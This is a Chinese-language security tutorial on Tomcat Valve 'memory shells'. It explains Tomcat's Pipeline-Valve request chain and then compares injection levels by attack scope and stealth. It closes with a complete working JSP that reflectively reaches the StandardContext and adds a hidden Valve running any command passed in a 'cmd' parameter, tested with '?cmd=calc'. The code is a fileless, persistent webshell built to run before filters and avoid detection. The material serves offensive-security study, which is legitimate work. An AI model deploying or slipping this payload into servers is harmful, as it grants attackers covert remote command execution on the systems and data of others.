Tomcat Valve内存马
Tomcat Valve内存马
1. Valve机制
1.1 Valve认识
可以把 Tomcat 里的 Valve 理解成请求处理流程中的 “自定义插件”—— 它能在请求到达 Servlet 之前,插入一段自己的逻辑(比如日志记录、权限校验,甚至是恶意代码)。每个 Valve 只负责一件事,多个 Valve 按顺序组合起来,就形成了 Tomcat 对请求的 “流水线式” 处理。
1.2 核心设计:“管道 - 阀门”(Pipeline-Valve)模式
Tomcat 的请求处理链路本质上是一个 “责任链模式” 的实现,而 Pipeline(管道)和 Valve(阀门)是这个模式的具体载体:
Pipeline(管道):可以理解为一个 “容器”,内部按顺序存放多个 Valve(阀门),并规定了 Valve 的执行顺序。每个层级(如 Engine、Host 等)都有且仅有一个 Pipeline。
Valve(阀门):是具体的 “处理器”,每个 Valve 负责完成一项特定的功能(如编码转换、权限校验、日志记录等)。一个 Pipeline 中可以有多个 Valve,它们按添加顺序依次执行。
基础阀门(Basic Valve):每个 Pipeline 必须有一个 “基础阀门”(由 Tomcat 内部默认实现),它是 Pipeline 中最后执行的 Valve,负责将请求传递到下一层级的 Pipeline(或最终的 Servlet)。例如,Wrapper 层级的基础阀门会调用 Servlet 的
service()方法。
1.3 层级结构:从请求入口到 Servlet 的完整链路
Tomcat 的请求处理链路分为 5 个核心层级,每个层级对应一个组件,每个组件都有自己的 Pipeline 和 Valve。请求会从顶层逐级向下传递,具体层级如下:

1. Connector(连接器)
- 作用:接收客户端请求(如 HTTP 协议的 8080 端口),将原始字节流解析为 Tomcat 内部的
Request和Response对象。 - Pipeline 特点:Connector 的 Pipeline 主要处理协议解析(如 HTTP 转 Tomcat 内部对象)、连接管理等底层逻辑,是请求进入 Tomcat 容器的‘第一关,其 Pipeline 中的 Valve 主要处理与协议相关的底层逻辑(如 SSL 解密、请求头解析等)。
2. Engine(引擎)
- 作用:Tomcat 的顶层容器,负责管理多个 Host(虚拟主机),并将请求转发到对应的 Host。
- Pipeline 特点:Engine 的 Pipeline 处理所有虚拟主机共有的逻辑(如全局日志、跨主机的权限控制等)。
3. Host(虚拟主机)
- 作用:对应一个虚拟主机(如
localhost或自定义域名),负责管理多个 Context(Web 应用),将请求转发到对应的 Context。 - Pipeline 特点:Host 的 Pipeline 处理当前虚拟主机特有的逻辑(如主机级别的访问控制、域名相关的过滤等)。
4. Context(Web 应用上下文)
- 作用:对应一个部署在 Tomcat 中的 Web 应用(如
ROOT应用或test.war解压后的应用),负责管理多个 Wrapper(Servlet 包装器)。 - Pipeline 特点:Context 的 Pipeline 是开发者最常接触的层级之一,其 Valve 会处理当前 Web 应用的通用逻辑(如会话管理、应用级别的权限校验等)。关键:Context 的 Pipeline 执行优先级高于 Web 应用中的 Filter 链(即 Valve 比 Filter 更早拦截请求)。
5. Wrapper(Servlet 包装器)
- 作用:对应一个具体的 Servlet(如
HelloServlet),是请求处理的最终执行者。 - Pipeline 特点:Wrapper 的 Pipeline 处理与当前 Servlet 相关的逻辑(如 Servlet 初始化检查、请求参数验证等),其基础阀门会直接调用 Servlet 的
service()方法。
1.4 完整链路

当请求到达 Tomcat 后,会严格按照 “Engine Pipeline → Host Pipeline → Context Pipeline → Wrapper Pipeline” 的顺序流转,每一层的 Pipeline 都通过 Valve 接力传递请求:
请求经 Connector 解析后,进入 Engine 的 Pipeline,依次执行所有自定义 Valve → 执行 Engine 的 Basic Valve,将请求传给匹配的 Host 的 Pipeline;
请求进入 Host 的 Pipeline,依次执行所有自定义 Valve → 执行 Host 的 Basic Valve,将请求传给匹配的 Context 的 Pipeline;
请求进入 Context 的 Pipeline,依次执行所有自定义 Valve(这里的 Valve 执行优先级高于 Filter 链)→ 执行 Context 的 Basic Valve,将请求传给匹配的 Wrapper 的 Pipeline;
请求进入 Wrapper 的 Pipeline,依次执行所有自定义 Valve → 执行 Wrapper 的 Basic Valve,调用 Filter 链 → 最终调用 Servlet 的
service()方法处理业务。
2. Vlave内存马
2.1 调试分析
了解valve的机制后, 新建一个项目, 然后断点调试分析.

从这个堆栈可以清晰看到 Valve 在请求链路中的 “分层拦截” 作用:
- 每个层级都有专属 Valve:Engine、Host、Context、Wrapper 各层级都有对应的 Valve(如
StandardEngineValve、StandardHostValve等),它们按 “从上到下” 的顺序拦截请求,完成各自的功能。 - Valve 是请求流转的 “接力棒”:每个层级的 Valve 执行完自身逻辑后,会通过
getNext().invoke(request, response)把请求传递给下一个 Valve(或基础阀门),最终到达 Servlet。 - Valve 比 Filter 更早执行:Context 层级的 Valve(如
StandardContextValve)执行优先级高于 Web 应用中的 Filter 链,这也是 Valve 内存马能 “抢先拦截请求” 的关键。
2.2 注入原理
Tomcat 的 Pipeline 接口提供了 addValve(Valve valve) 方法,允许在运行时向任意层级(Engine、Host、Context、Wrapper)的 Pipeline 中添加新的 Valve:
public interface Pipeline {
void addValve(Valve valve);
Valve[] getValves();
// ...
}这意味着:
- 无需重启服务;
- 无需修改配置文件(如 server.xml);
- 无需部署新 WAR 包;
- 只要能执行任意 Java 代码(例如通过已有 WebShell),就能动态插入自定义 Valve。
了解这个过程, 就可以考虑在这个过程中注入内存马
Valve 内存马可以注入到 Tomcat 的不同层级(Engine、Host、Context、Wrapper),不同层级的注入会影响攻击范围和隐蔽性:
| 注入层级 | 攻击范围 | 隐蔽性 | 典型场景 |
|---|---|---|---|
| Engine | 全局所有虚拟主机和应用 | 低(影响面大) | 批量控制多应用服务器 |
| Host | 单个虚拟主机下的所有应用 | 中 | 控制特定域名下的所有 Web 应用 |
| Context | 单个 Web 应用 | 高(精准) | 隐蔽控制目标应用 |
| Wrapper | 单个 Servlet | 极高 | 针对特定接口的精准攻击 |
Valve 内存马实现逻辑(以 Context 层级为例)
2.3 注入逻辑说明(Context 层级)
- 获取当前请求的
Request对象 JSP 中可通过内置对象request获取(实际类型为org.apache.catalina.connector.RequestFacade)。 - 通过反射获取底层
Request和ContextRequestFacade是包装类,需反射获取其内部的request字段;- 从
Request中调用getContext()获取StandardContext。
- 动态定义恶意 Valve 类
使用
javax.tools.JavaCompiler在内存中编译 Java 源码(避免写文件),或直接通过字节码加载(此处为简化,使用动态类定义 + 反射实例化)。 - 将恶意 Valve 添加到 Context 的 Pipeline
调用
context.getPipeline().addValve(evilValve)完成注入。 - 后续请求将被恶意 Valve 拦截
例如访问
/shell?cmd=whoami即可执行命令。
2.4 完整代码
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class ValveTest extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd=request.getParameter("cmd");
if(cmd!=null){
Runtime.getRuntime().exec(cmd);
}
}
}
%>
<%
// 从request中获取servletContext
ServletContext servletContext = request.getServletContext();
// 从servletContext中获取applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 从applicationContext中获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.getPipeline().addValve(new ValveTest());
out.println("yes");
%>测试:
- 启动项目
- 访问jsp文件
- 访问请求带参数?cmd=calc